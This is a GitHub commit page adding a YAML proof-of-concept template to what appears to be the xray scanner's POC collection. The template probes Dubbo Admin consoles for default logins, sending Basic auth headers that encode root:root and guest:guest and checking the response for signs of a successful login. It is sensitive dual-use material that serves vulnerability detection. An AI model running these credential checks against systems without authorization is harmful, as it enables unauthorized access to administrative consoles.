Skip to content

Commit

Permalink
add dubbo-default-password (chaitin#1229)
Browse files Browse the repository at this point in the history
* add dubbo-default-password

* fix

* Update and rename dubbo-default-password.yml to dubbo-admin-default-password.yml

Co-authored-by: smile-jpg <[email protected]>
  • Loading branch information
mumu0215 and smile-jpg authored Aug 5, 2021
1 parent 7976d7e commit 42a78e9
Showing 1 changed file with 20 additions and 0 deletions.
20 changes: 20 additions & 0 deletions pocs/dubbo-admin-default-password.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
name: poc-yaml-dubbo-admin-default-password
groups:
root:
- method: GET
path: /
headers:
Authorization: Basic cm9vdDpyb290
expression: |
response.status == 200 && response.body.bcontains(b"<title>Dubbo Admin</title>") && response.body.bcontains(b": root', '/logout'") && response.body.bcontains(b"/sysinfo/versions")
guest:
- method: GET
path: /
headers:
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
expression: |
response.status == 200 && response.body.bcontains(b"<title>Dubbo Admin</title>") && response.body.bcontains(b": guest', '/logout'") && response.body.bcontains(b"/sysinfo/versions")
detail:
author: mumu0215(https://github.com/mumu0215)
links:
- https://www.cnblogs.com/wishwzp/p/9438658.html

0 comments on commit 42a78e9

Please sign in to comment.